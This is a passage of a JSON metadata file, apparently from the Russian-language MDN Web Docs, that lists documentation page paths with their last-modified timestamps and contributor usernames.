- "Learn/Как_сделать_вклад": {
- "modified": "2020-07-16T22:33:46.276Z",
- "contributors": [
- "SphinxKnight",
- "KTatyana",
- "BychekRU",
- "MuradAz"
- ]
- },
- "Learn/Фронтенд_разработчик": {
- "modified": "2020-10-26T19:26:16.101Z",
- "contributors": [
- "Villian79",
- "bogpok",
- "Menma"
- ]
- },
- "Learn/Что_такое_веб_сервер": {
- "modified": "2020-07-16T22:35:32.096Z",
- "contributors": [
- "joshua1955",
- "Dozorengel",
- "beloglazof",
- "Geloosa",
- "erelena",
- "Sumere4ny",
- "talgautb",
- "Xryak",
- "uralbash",
- "elcamlost"
- ]
- },
- "MDN": {
- "modified": "2020-02-19T18:23:03.586Z",
- "contributors": [
- "jswisher",
- "SphinxKnight",
- "wbamberg",
- "Jeremie",
- "m.onyshchuk",
- "BychekRU",
- "Mingun",
- "teoli",
- "uleming",
- "Sheppy"
- ]
- },
- "MDN/About": {
- "modified": "2020-09-09T11:16:44.121Z",
- "contributors": [
- "andrygreen777",
- "S-inTheory",
- "SphinxKnight",
- "wbamberg",
- "BychekRU",
- "NekoBroadway",
- "jswisher",
- "gitzizou",
- "warsan",
- "Corba",
- "uleming"
- ]
- },
- "MDN/Contribute": {
- "modified": "2020-01-05T13:03:37.237Z",
- "contributors": [
- "Ivan961",
- "lesha.boklag",
- "seliverstova",
- "wbamberg",
- "scrum",
- "lavr1986uxa",
- "BychekRU",
- "dstereo",
- "Daniil",
- "Unregistered45",
- "Aleksej",
- "0leg",
- "teoli",
- "mitabuba",
- "ilya",
- "Mars"
- ]
- },
- "MDN/Contribute/Creating_and_editing_pages": {
- "modified": "2020-04-10T13:36:06.534Z",
- "contributors": [
- "karifan8767",
- "wbamberg",
- "djigach",
- "KaroHovhannisyan",
- "Ferguse",
- "vaser321",
- "TemmyR",
- "Servik17",
- "vislogurov",
- "Chronosms",
- "BychekRU",
- "SashaSh",
- "Spiker"
- ]
- },
- "MDN/Contribute/Feedback": {
- "modified": "2020-09-30T17:52:35.205Z",
- "contributors": [
- "chrisdavidmills",
- "jswisher",
- "SphinxKnight",
- "boxa6",
- "mrhaack",
- "wbamberg",
- "warsan",
- "BychekRU",
- "Palatovskaya"
- ]
- },
- "MDN/Contribute/Getting_started": {
- "modified": "2020-10-30T09:48:31.108Z",
- "contributors": [
- "ksam",
- "chrisdavidmills",
- "undgrnd",
- "tensegrity666",
- "PaRaD0XCORP",
- "iamvector",
- "zarabotaet",
- "wbamberg",
- "b1narykid",
- "VsTB",
- "denisbalyko",
- "BychekRU",
- "acidicMercury8",
- "vvscode",
- "klimovakristina",
- "vokaluk666",
- "uchayev",
- "Rale",
- "briliantovoe",
- "Aleksej",
- "Treder",
- "ilya",
- "Vovan"
- ]
- },
- "MDN/Contribute/Howto": {
- "modified": "2019-01-16T19:24:18.760Z",
- "contributors": [
- "wbamberg",
- "Devengineer",
- "uleming"
- ]
- },
- "MDN/Contribute/Howto/Convert_code_samples_to_be_live": {
- "modified": "2019-01-17T02:02:49.196Z",
- "contributors": [
- "wbamberg",
- "irodger"
- ]
- },
- "MDN/Contribute/Howto/Create_an_MDN_account": {
- "modified": "2020-08-25T20:34:15.669Z",
- "contributors": [
- "duduindo",
- "sayfullayevabdixalil",
- "stefantsova",
- "svyatoslavlp",
- "Fredoss",
- "bayashka123",
- "seliverstova",
- "wbamberg",
- "erfari",
- "takto",
- "yambergaa",
- "CaptainMorgan",
- "Dimetriu",
- "Katya_Kosuga",
- "Aleksandr2101"
- ]
- },
- "MDN/Contribute/Howto/Do_a_technical_review": {
- "modified": "2020-01-04T22:10:59.231Z",
- "contributors": [
- "Ivan961",
- "shmel3",
- "wbamberg",
- "StyleToken",
- "Devengineer",
- "Aleksandr2101"
- ]
- },
- "MDN/Contribute/Howto/Do_an_editorial_review": {
- "modified": "2019-10-02T16:12:23.523Z",
- "contributors": [
- "wbamberg",
- "ivanson",
- "Jessai",
- "ilyar",
- "SnejUgal",
- "AlexeyOm",
- "L18-666B",
- "Devengineer"
- ]
- },
- "MDN/Contribute/Howto/Report_a_problem": {
- "modified": "2020-10-30T08:02:44.010Z",
- "contributors": [
- "ksam"
- ]
- },
- "MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary": {
- "modified": "2020-07-17T02:29:17.890Z",
- "contributors": [
- "stefantsova",
- "OrlovPetr",
- "boxa6",
- "wbamberg",
- "MaryoneFrolova",
- "chrootsu",
- "bracket",
- "MuradAz"
- ]
- },
- "MDN/Contribute/Howto/Добавить_или_обновить_данные_о_браузерной_совместимости": {
- "modified": "2019-07-13T14:51:28.876Z",
- "contributors": [
- "fuggy"
- ]
- },
- "MDN/Contribute/Howto/Как_оптимизировать_страницы": {
- "modified": "2019-03-23T22:33:34.588Z",
- "contributors": [
- "wbamberg",
- "che7ovek",
- "Glebowsky"
- ]
- },
- "MDN/Contribute/Howto/Метки_JavaScript_страниц": {
- "modified": "2019-01-17T02:41:09.446Z",
- "contributors": [
- "wbamberg",
- "dyaroman"
- ]
- },
- "MDN/Contribute/Howto/Создай_интерактивное_упражнение_для_помощи_в_изучении_веба": {
- "modified": "2019-03-18T20:31:43.828Z",
- "contributors": [
- "MuradAz"
- ]
- },
- "MDN/Contribute/Процессы": {
- "modified": "2019-01-17T00:00:52.853Z",
- "contributors": [
- "wbamberg",
- "warsan"
- ]
- },
- "MDN/Editor": {
- "modified": "2020-09-30T15:43:33.251Z",
- "contributors": [
- "chrisdavidmills",
- "andresvara88",
- "Vyprichenko",
- "Ivan961",
- "wbamberg",
- "Luboshenko",
- "T1mL3arn",
- "warsan",
- "anastasiya-podolyak",
- "BychekRU",
- "sputnik1986",
- "Grigorjjjmolokov81",
- "KrishnaKevalam",
- "Slang74"
- ]
- },
- "MDN/Editor/Basics": {
- "modified": "2020-09-30T15:43:33.440Z",
- "contributors": [
- "chrisdavidmills",
- "aleksandrpnshkn",
- "wbamberg",
- "ValeriiBoiko",
- "djigach",
- "warsan",
- "JavaS"
- ]
- },
- "MDN/Editor/Basics/Page_controls": {
- "modified": "2020-09-30T15:43:33.388Z",
- "contributors": [
- "chrisdavidmills",
- "aleksandrpnshkn"
- ]
- },
- "MDN/Editor/Basics/Toolbar": {
- "modified": "2020-09-30T15:43:33.855Z",
- "contributors": [
- "chrisdavidmills",
- "aleksandrpnshkn"
- ]
- },
- "MDN/Editor/Source_mode": {
- "modified": "2020-09-30T15:43:35.463Z",
- "contributors": [
- "chrisdavidmills",
- "Ivan961"
- ]
- },
- "MDN/Editor/Tables": {
- "modified": "2020-09-30T15:43:35.242Z",
- "contributors": [
- "chrisdavidmills",
- "Ivan961"
- ]
- },
- "MDN/Editor/Горячие_клавиши": {
- "modified": "2020-09-30T15:43:34.335Z",
- "contributors": [
- "chrisdavidmills",
- "Ivan961"
- ]
- },
- "MDN/Editor/Картинки": {
- "modified": "2020-09-30T15:43:34.113Z",
- "contributors": [
- "chrisdavidmills",
- "Avdros",
- "wbamberg",
- "pk.prog"
- ]
- },
- "MDN/Editor/Перенаправление": {
- "modified": "2020-09-30T15:43:34.816Z",
- "contributors": [
- "chrisdavidmills",
- "Ivan961"
- ]
- },
- "MDN/Editor/Синтаксические_выделения": {
- "modified": "2020-09-30T15:43:35.025Z",
- "contributors": [
- "chrisdavidmills",
- "Ivan961"
- ]
- },
- "MDN/Editor/Ссылки": {
- "modified": "2020-09-30T15:43:34.675Z",
- "contributors": [
- "chrisdavidmills",
- "Ivan961"
- ]
- },
- "MDN/Guidelines": {
- "modified": "2020-11-02T10:17:56.940Z",
- "contributors": [
- "ksam"
- ]
- },
- "MDN/Kuma": {
- "modified": "2019-09-09T15:51:19.091Z",
- "contributors": [
- "SphinxKnight",
- "wbamberg",
- "BychekRU",
- "FRiMN"
- ]
- },
- "MDN/Kuma/Troubleshooting_KumaScript_errors": {
- "modified": "2019-07-08T19:30:04.842Z",
- "contributors": [
- "fuggy",
- "wbamberg",
- "MariyaSka",
- "cpigat"
- ]
- },
- "MDN/Structures": {
- "modified": "2020-09-30T12:57:22.613Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "warsan",
- "BychekRU",
- "jswisher"
- ]
- },
- "MDN/Structures/Live_samples": {
- "modified": "2020-09-30T12:57:23.093Z",
- "contributors": [
- "chrisdavidmills"
- ]
- },
- "MDN/Structures/Live_samples/Simple_live_sample_demo": {
- "modified": "2020-09-30T12:57:23.196Z",
- "contributors": [
- "chrisdavidmills",
- "fuggy"
- ]
- },
- "MDN/Tools": {
- "modified": "2020-09-30T16:54:08.506Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "pk.prog",
- "warsan"
- ]
- },
- "MDN/Tools/Page_watching": {
- "modified": "2020-09-30T16:54:08.639Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "warsan",
- "Jasum",
- "Liubava77",
- "lavr1986uxa"
- ]
- },
- "MDN/Tools/URL-suffix": {
- "modified": "2020-11-05T06:23:08.678Z",
- "contributors": [
- "ksam"
- ]
- },
- "MDN/User_guide": {
- "modified": "2019-01-16T19:44:47.259Z",
- "contributors": [
- "wbamberg",
- "Mingun"
- ]
- },
- "MDN/User_guide/Advanced_search": {
- "modified": "2019-03-23T23:07:10.929Z",
- "contributors": [
- "wbamberg",
- "Mingun"
- ]
- },
- "MDN/User_guide/Deleting_pages": {
- "modified": "2019-01-16T19:44:31.713Z",
- "contributors": [
- "wbamberg",
- "Mingun"
- ]
- },
- "MDN/User_guide/Feeds": {
- "modified": "2019-03-23T23:07:09.701Z",
- "contributors": [
- "wbamberg",
- "Mingun"
- ]
- },
- "MDN/User_guide/Linking_to_MDN": {
- "modified": "2019-03-23T23:07:15.827Z",
- "contributors": [
- "wbamberg",
- "Mingun"
- ]
- },
- "MDN/Сообщество": {
- "modified": "2019-09-11T08:01:10.710Z",
- "contributors": [
- "SphinxKnight",
- "wbamberg",
- "yambergaa",
- "BychekRU",
- "bachileha",
- "Palatovskaya"
- ]
- },
- "MDN/Сообщество/Conversations": {
- "modified": "2020-10-09T08:02:44.061Z",
- "contributors": [
- "hustonCun",
- "EpicStep",
- "SuperSurok",
- "boxa6"
- ]
- },
- "MDN/Сообщество/Whats_happening": {
- "modified": "2019-06-26T18:29:06.368Z",
- "contributors": [
- "fuggy",
- "wbamberg",
- "pathliving",
- "talgautb"
- ]
- },
- "MDN/Сообщество/Working_in_community": {
- "modified": "2020-02-19T18:49:34.950Z",
- "contributors": [
- "jswisher",
- "boxa6",
- "bsergey",
- "KarryPro"
- ]
- },
- "MDN_at_ten": {
- "modified": "2019-03-23T22:49:58.338Z",
- "contributors": [
- "dimakozakov",
- "acidicMercury8",
- "Myshov",
- "anmo"
- ]
- },
- "MDN_at_ten/Contributing_to_MDN": {
- "modified": "2020-10-30T09:21:05.942Z",
- "contributors": [
- "ksam",
- "jswisher",
- "Valenchak"
- ]
- },
- "Mozilla": {
- "modified": "2019-03-23T23:36:49.497Z",
- "contributors": [
- "Shychara",
- "uleming",
- "Vladimir_Perkun",
- "ethertank",
- "ziyunfei"
- ]
- },
- "Mozilla/Add-ons": {
- "modified": "2019-09-11T08:19:34.402Z",
- "contributors": [
- "SphinxKnight",
- "arturparkhisenko",
- "helperman",
- "varstt",
- "ssaayylleerr09",
- "Boredix",
- "olshevskiy87",
- "Fiz",
- "badhitman",
- "++i_+_++i",
- "jatj2015",
- "Tihoem",
- "uleming",
- "Roman.Kulikov",
- "bookabook",
- "Anomitro_Munshi"
- ]
- },
- "Mozilla/Add-ons/WebExtensions": {
- "modified": "2020-12-07T16:54:20.673Z",
- "contributors": [
- "georgiiankov38",
- "vasa-vasa66",
- "mazza100789",
- "SphinxKnight",
- "forUmen",
- "Liubava77",
- "vladimir-nikotin",
- "RealRedFox",
- "marinru",
- "T1mL3arn",
- "sergeiDruzhinin",
- "pk.prog",
- "Grinv"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API": {
- "modified": "2019-11-26T22:19:40.929Z",
- "contributors": [
- "wbamberg",
- "SphinxKnight",
- "ismorozs",
- "rookhive",
- "VitalyTartynov",
- "Kloshar",
- "pk.prog"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/cookies": {
- "modified": "2020-10-15T21:52:19.611Z",
- "contributors": [
- "Fgeniy",
- "andrewlenovo",
- "wbamberg",
- "PetrT",
- "abbycar"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/cookies/Cookie": {
- "modified": "2020-10-15T21:52:20.210Z",
- "contributors": [
- "podocenov",
- "wbamberg",
- "anastasiya-solodkaya"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/downloads": {
- "modified": "2020-10-15T22:22:46.227Z",
- "contributors": [
- "oldpraktik",
- "morisbartyno"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/runtime": {
- "modified": "2020-10-15T22:27:48.847Z",
- "contributors": [
- "rebloor"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/runtime/getManifest": {
- "modified": "2020-10-15T22:27:46.978Z",
- "contributors": [
- "alexandersolovyov"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/tabs": {
- "modified": "2020-10-15T21:45:43.452Z",
- "contributors": [
- "wbamberg"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/tabs/get": {
- "modified": "2020-10-15T21:45:41.697Z",
- "contributors": [
- "wbamberg",
- "siweter"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/tabs/hide": {
- "modified": "2020-10-15T22:06:20.408Z",
- "contributors": [
- "wbamberg",
- "Dmitriy11111"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/webRequest": {
- "modified": "2020-10-15T22:10:02.359Z",
- "contributors": [
- "ksvserg77",
- "wbamberg",
- "corecode1"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/windows": {
- "modified": "2020-10-15T21:58:47.037Z",
- "contributors": [
- "wbamberg",
- "volodec"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/API/windows/CreateType": {
- "modified": "2020-10-15T22:16:40.690Z",
- "contributors": [
- "VivatRafa"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension": {
- "modified": "2019-03-30T03:22:26.644Z",
- "contributors": [
- "mdanshin",
- "rookhive",
- "0_o",
- "AlinaLedova",
- "radioleggion",
- "kynitssa",
- "volkovv"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities": {
- "modified": "2019-03-18T20:59:23.649Z",
- "contributors": [
- "gladisihor"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Content_Security_Policy": {
- "modified": "2019-09-12T01:22:22.257Z",
- "contributors": [
- "ismorozs"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Content_scripts": {
- "modified": "2019-09-11T05:54:18.779Z",
- "contributors": [
- "ismorozs"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Examples": {
- "modified": "2020-03-02T12:00:34.704Z",
- "contributors": [
- "alexandersolovyov",
- "theodysseus",
- "Peoplesale"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests": {
- "modified": "2020-10-03T17:36:15.272Z",
- "contributors": [
- "ealik97779",
- "elijah8elijah",
- "iljasergijenko",
- "sergeiDruzhinin",
- "DavidWebb"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Match_patterns": {
- "modified": "2020-10-15T22:22:49.141Z",
- "contributors": [
- "ismorozs"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Prerequisites": {
- "modified": "2019-03-18T21:06:53.326Z",
- "contributors": [
- "gladisihor"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/What_are_WebExtensions": {
- "modified": "2020-05-17T16:42:52.348Z",
- "contributors": [
- "kollieartwolf",
- "T1mL3arn",
- "idma88",
- "flammenmensch"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Your_first_WebExtension": {
- "modified": "2019-09-29T06:45:18.922Z",
- "contributors": [
- "ArtemPolanskiy",
- "yuriqdev",
- "T1mL3arn",
- "idma88",
- "NAKAMODI",
- "siweter"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Your_second_WebExtension": {
- "modified": "2019-05-17T10:43:54.203Z",
- "contributors": [
- "kaifonaft",
- "T1mL3arn"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json": {
- "modified": "2020-10-15T21:51:04.600Z",
- "contributors": [
- "alexandersolovyov",
- "anton.pribora",
- "wbamberg"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/background": {
- "modified": "2020-10-15T21:55:11.646Z",
- "contributors": [
- "alexandersolovyov",
- "wbamberg",
- "AlinaLedova",
- "Vilafox"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/content_security_policy": {
- "modified": "2020-10-15T22:23:16.529Z",
- "contributors": [
- "ismorozs"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/description": {
- "modified": "2020-10-15T21:54:57.406Z",
- "contributors": [
- "wbamberg",
- "T1mL3arn"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/icons": {
- "modified": "2020-10-15T21:51:02.675Z",
- "contributors": [
- "alexandersolovyov",
- "fscholz",
- "NAKAMODI"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/manifest_version": {
- "modified": "2020-10-15T21:51:03.825Z",
- "contributors": [
- "alexandersolovyov",
- "wbamberg",
- "T1mL3arn",
- "NAKAMODI"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/name": {
- "modified": "2020-10-15T21:51:04.084Z",
- "contributors": [
- "alexandersolovyov",
- "wbamberg",
- "T1mL3arn",
- "NAKAMODI"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/permissions": {
- "modified": "2020-10-15T22:23:27.456Z",
- "contributors": [
- "ismorozs"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/manifest.json/version": {
- "modified": "2020-10-15T21:54:57.346Z",
- "contributors": [
- "alexandersolovyov",
- "wbamberg",
- "T1mL3arn"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface": {
- "modified": "2019-03-18T21:05:03.573Z",
- "contributors": [
- "vladimir-nikotin",
- "Shychara"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Browser_action": {
- "modified": "2019-03-18T21:05:13.253Z",
- "contributors": [
- "vladimir-nikotin",
- "Shychara"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items": {
- "modified": "2019-03-18T21:01:56.567Z",
- "contributors": [
- "shmel3"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages": {
- "modified": "2020-03-01T18:43:31.798Z",
- "contributors": [
- "alexandersolovyov"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Notifications": {
- "modified": "2019-10-03T15:46:20.914Z",
- "contributors": [
- "ismorozs"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Omnibox": {
- "modified": "2019-10-08T08:32:02.073Z",
- "contributors": [
- "ismorozs"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Popups": {
- "modified": "2019-03-18T21:05:13.680Z",
- "contributors": [
- "Shychara"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/user_interface/Sidebars": {
- "modified": "2019-03-18T21:05:02.475Z",
- "contributors": [
- "leksiq",
- "LumenGNU"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Интернационализация": {
- "modified": "2020-06-26T11:58:33.746Z",
- "contributors": [
- "pm3512"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/Перевод": {
- "modified": "2019-03-29T04:27:38.888Z",
- "contributors": [
- "karr1d"
- ]
- },
- "Mozilla/Add-ons/WebExtensions/модификация_веб_страницы": {
- "modified": "2020-08-27T17:26:46.914Z",
- "contributors": [
- "sergserg213",
- "Vorteri",
- "klavatron"
- ]
- },
- "Mozilla/Developer_guide": {
- "modified": "2020-03-02T16:15:06.703Z",
- "contributors": [
- "kitlhut0r",
- "chrisdavidmills",
- "uleming",
- "Aleksej",
- "Exalm",
- "fanatik281089",
- "greybax"
- ]
- },
- "Mozilla/Developer_guide/Inner_and_outer_windows": {
- "modified": "2020-08-31T15:44:44.491Z",
- "contributors": [
- "b0rique"
- ]
- },
- "Mozilla/Developer_guide/So_you_just_built_Firefox": {
- "modified": "2019-03-23T23:27:17.616Z",
- "contributors": [
- "sameoldmadness",
- "chrisdavidmills",
- "reagafonov"
- ]
- },
- "Mozilla/Developer_guide/mozilla-central": {
- "modified": "2019-03-23T22:22:15.666Z",
- "contributors": [
- "chrisdavidmills",
- "schufner"
- ]
- },
- "Mozilla/Developer_guide/Исходный_код": {
- "modified": "2019-03-23T23:33:14.609Z",
- "contributors": [
- "Dr.Kub",
- "chrisdavidmills",
- "elityty_777",
- "BladeMight",
- "andrew.boyarshin"
- ]
- },
- "Mozilla/Firefox": {
- "modified": "2020-01-18T14:11:55.644Z",
- "contributors": [
- "leela52452",
- "SphinxKnight",
- "wbamberg",
- "Liubava77",
- "schufner",
- "BychekRU",
- "uleming",
- "anmo",
- "Lebedev_Ivan",
- "Aleksej",
- "denpro18",
- "Timmi"
- ]
- },
- "Mozilla/Firefox/Releases": {
- "modified": "2019-01-16T17:40:43.375Z",
- "contributors": [
- "wbamberg",
- "uleming",
- "Sheppy"
- ]
- },
- "Mozilla/Firefox/Releases/1.5": {
- "modified": "2019-03-23T22:11:47.636Z",
- "contributors": [
- "wbamberg",
- "Liubava77",
- "Sebastianz"
- ]
- },
- "Mozilla/Firefox/Releases/28": {
- "modified": "2019-03-23T23:18:04.911Z",
- "contributors": [
- "wbamberg",
- "Ladislas"
- ]
- },
- "Mozilla/Firefox/Releases/29": {
- "modified": "2019-03-23T23:17:43.901Z",
- "contributors": [
- "wbamberg",
- "Sebastianz",
- "Troynov",
- "Ladislas"
- ]
- },
- "Mozilla/Firefox/Releases/31": {
- "modified": "2019-03-18T21:09:05.164Z",
- "contributors": [
- "fscholz",
- "wbamberg",
- "torbasow"
- ]
- },
- "Mozilla/Firefox/Releases/32": {
- "modified": "2019-03-23T23:12:50.352Z",
- "contributors": [
- "wbamberg",
- "warsan",
- "krassx",
- "Demondroid"
- ]
- },
- "Mozilla/Firefox/Releases/33": {
- "modified": "2019-03-23T23:13:07.256Z",
- "contributors": [
- "wbamberg",
- "warsan",
- "Troynov"
- ]
- },
- "Mozilla/Firefox/Releases/43": {
- "modified": "2019-03-18T21:17:04.674Z",
- "contributors": [
- "fgff",
- "wbamberg",
- "warsan",
- "uleming"
- ]
- },
- "Mozilla/Firefox/Releases/44": {
- "modified": "2019-03-23T22:39:30.117Z",
- "contributors": [
- "fgff",
- "wbamberg",
- "warsan",
- "uleming"
- ]
- },
- "Mozilla/Firefox/Releases/45": {
- "modified": "2019-03-23T22:41:10.764Z",
- "contributors": [
- "fgff",
- "wbamberg",
- "warsan",
- "uleming"
- ]
- },
- "Mozilla/Firefox/Releases/47": {
- "modified": "2019-03-23T22:29:35.138Z",
- "contributors": [
- "fgff",
- "wbamberg",
- "kdex",
- "Stalker"
- ]
- },
- "Mozilla/Firefox/Releases/50": {
- "modified": "2019-03-23T22:23:43.944Z",
- "contributors": [
- "fgff",
- "wbamberg",
- "warsan",
- "bigaltum",
- "lleming"
- ]
- },
- "Mozilla/Firefox/Releases/51": {
- "modified": "2019-01-16T23:57:15.335Z",
- "contributors": [
- "wbamberg",
- "warsan",
- "Liubava77",
- "L18-666B"
- ]
- },
- "Mozilla/Firefox/Releases/53": {
- "modified": "2019-03-23T22:12:30.459Z",
- "contributors": [
- "fgff",
- "wbamberg",
- "arturparkhisenko",
- "Sweaty_Shura"
- ]
- },
- "Mozilla/Firefox/Releases/58": {
- "modified": "2019-03-23T22:02:13.092Z",
- "contributors": [
- "wbamberg",
- "maryia"
- ]
- },
- "Mozilla/Firefox/Releases/59": {
- "modified": "2019-03-18T21:15:19.138Z",
- "contributors": [
- "fgff",
- "wbamberg",
- "someone12346"
- ]
- },
- "Mozilla/Firefox/Releases/60": {
- "modified": "2019-03-18T21:34:46.038Z",
- "contributors": [
- "fgff",
- "wbamberg",
- "ikzsl"
- ]
- },
- "Mozilla/Firefox/Releases/62": {
- "modified": "2019-03-18T21:27:47.601Z",
- "contributors": [
- "dartraiden"
- ]
- },
- "Mozilla/Firefox/Releases/63": {
- "modified": "2019-03-18T21:24:20.330Z",
- "contributors": [
- "dartraiden"
- ]
- },
- "Mozilla/Firefox/Releases/64": {
- "modified": "2019-03-18T21:10:16.339Z",
- "contributors": [
- "dartraiden",
- "mrhaack"
- ]
- },
- "Mozilla/Firefox/Releases/65": {
- "modified": "2019-03-18T20:38:46.730Z",
- "contributors": [
- "dartraiden",
- "InoY"
- ]
- },
- "Mozilla/Firefox/Releases/66": {
- "modified": "2019-03-29T04:57:02.159Z",
- "contributors": [
- "karr1d"
- ]
- },
- "Mozilla/Firefox/Releases/68": {
- "modified": "2019-07-19T06:10:13.061Z",
- "contributors": [
- "art-gur"
- ]
- },
- "Mozilla/Firefox/Releases/70": {
- "modified": "2019-09-02T10:55:41.909Z",
- "contributors": [
- "InoY"
- ]
- },
- "Plugins/План": {
- "modified": "2019-08-01T03:21:45.901Z",
- "contributors": [
- "art-gur"
- ]
- },
- "Toolkit_API": {
- "modified": "2019-01-16T14:44:25.079Z",
- "contributors": [
- "bill.gates"
- ]
- },
- "Tools": {
- "modified": "2020-09-07T21:34:25.677Z",
- "contributors": [
- "pal-software",
- "andrygreen777",
- "SphinxKnight",
- "shizm46",
- "WhiteApfel",
- "Roman-Kosov",
- "DygyTal",
- "wbamberg",
- "sidorRD",
- "dzandut",
- "Lion17",
- "pk.prog",
- "BychekRU",
- "sampjulk",
- "VINTproYKT",
- "Palatovskaya",
- "savkin.ser40",
- "warsand",
- "Aleksej",
- "teoli",
- "bachileha",
- "Mingun",
- "uleming",
- "Newser",
- "shalaguine",
- "triplezavr",
- "dangoor"
- ]
- },
- "Tools/3D_View": {
- "modified": "2020-07-16T22:34:25.638Z",
- "contributors": [
- "valsaven",
- "wbamberg",
- "99peso"
- ]
- },
- "Tools/Add-ons": {
- "modified": "2020-07-16T22:36:23.822Z",
- "contributors": [
- "wbamberg"
- ]
- },
- "Tools/Add-ons/DOM_Inspector": {
- "modified": "2020-07-16T22:36:24.834Z",
- "contributors": [
- "wbamberg",
- "kvantor"
- ]
- },
- "Tools/Application": {
- "modified": "2020-10-26T07:59:58.970Z",
- "contributors": [
- "ksam",
- "pofiguwse"
- ]
- },
- "Tools/Debugger": {
- "modified": "2020-07-16T22:35:06.304Z",
- "contributors": [
- "wbamberg",
- "pk.prog",
- "L18-666B",
- "Tihoem"
- ]
- },
- "Tools/Debugger/How_to": {
- "modified": "2020-07-16T22:35:08.465Z",
- "contributors": [
- "wbamberg",
- "sidgan"
- ]
- },
- "Tools/Debugger/How_to/Отладка_кода_внутри_eval": {
- "modified": "2020-07-16T22:35:14.575Z",
- "contributors": [
- "wbamberg",
- "pashutk"
- ]
- },
- "Tools/Debugger/How_to/Работа_с_минифицированным_кодом": {
- "modified": "2020-07-16T22:35:14.187Z",
- "contributors": [
- "wbamberg",
- "pashutk"
- ]
- },
- "Tools/Debugger/Keyboard_shortcuts": {
- "modified": "2020-10-23T06:26:33.563Z",
- "contributors": [
- "ksam"
- ]
- },
- "Tools/Debugger/Source_map_errors": {
- "modified": "2020-07-16T22:35:19.721Z",
- "contributors": [
- "ZVanoZ",
- "topcf",
- "wbamberg",
- "ar4ell"
- ]
- },
- "Tools/Eyedropper": {
- "modified": "2020-07-16T22:36:07.850Z",
- "contributors": [
- "wbamberg",
- "jsx",
- "Norville",
- "StenHigh"
- ]
- },
- "Tools/Firefox_OS_1.1_Simulator": {
- "modified": "2020-07-16T22:35:58.417Z",
- "contributors": [
- "wbamberg",
- "Aleksej",
- "vm10111957r"
- ]
- },
- "Tools/Index": {
- "modified": "2020-07-16T22:36:06.095Z",
- "contributors": [
- "wbamberg",
- "Aleksej",
- "Mingun"
- ]
- },
- "Tools/Keyboard_shortcuts": {
- "modified": "2020-11-06T04:42:55.218Z",
- "contributors": [
- "ksam",
- "m0nclous",
- "wbamberg",
- "pk.prog",
- "Aleksej",
- "Mingun"
- ]
- },
- "Tools/Memory": {
- "modified": "2020-07-16T22:36:27.437Z",
- "contributors": [
- "dellem991",
- "s1lver",
- "crabovwik",
- "wbamberg",
- "chrisdavidmills"
- ]
- },
- "Tools/Memory/Tree_map_view": {
- "modified": "2020-07-16T22:36:30.629Z",
- "contributors": [
- "wbamberg",
- "pk.prog"
- ]
- },
- "Tools/Network_Monitor": {
- "modified": "2020-07-16T22:35:31.859Z",
- "contributors": [
- "torbasow",
- "FTOH",
- "dartraiden",
- "wbamberg",
- "pk.prog",
- "MAJTREJ",
- "Doxtyp",
- "ssaayylleerr09",
- "Aleksej",
- "loginov-as"
- ]
- },
- "Tools/Network_Monitor/Throttling": {
- "modified": "2020-07-16T22:35:36.410Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Tools/Page_Inspector": {
- "modified": "2020-07-16T22:34:29.558Z",
- "contributors": [
- "wbamberg",
- "ivanvtimofeev",
- "Dimas_Loick",
- "Aleksej",
- "jsx",
- "teoli",
- "Tihoem",
- "missoonn"
- ]
- },
- "Tools/Page_Inspector/How_to": {
- "modified": "2020-07-16T22:34:32.135Z",
- "contributors": [
- "wbamberg",
- "Tihoem",
- "sidgan"
- ]
- },
- "Tools/Page_Inspector/How_to/Edit_CSS_shapes": {
- "modified": "2020-07-16T22:34:48.305Z",
- "contributors": [
- "Shychara"
- ]
- },
- "Tools/Page_Inspector/How_to/Examine_and_edit_CSS": {
- "modified": "2020-07-16T22:34:43.767Z",
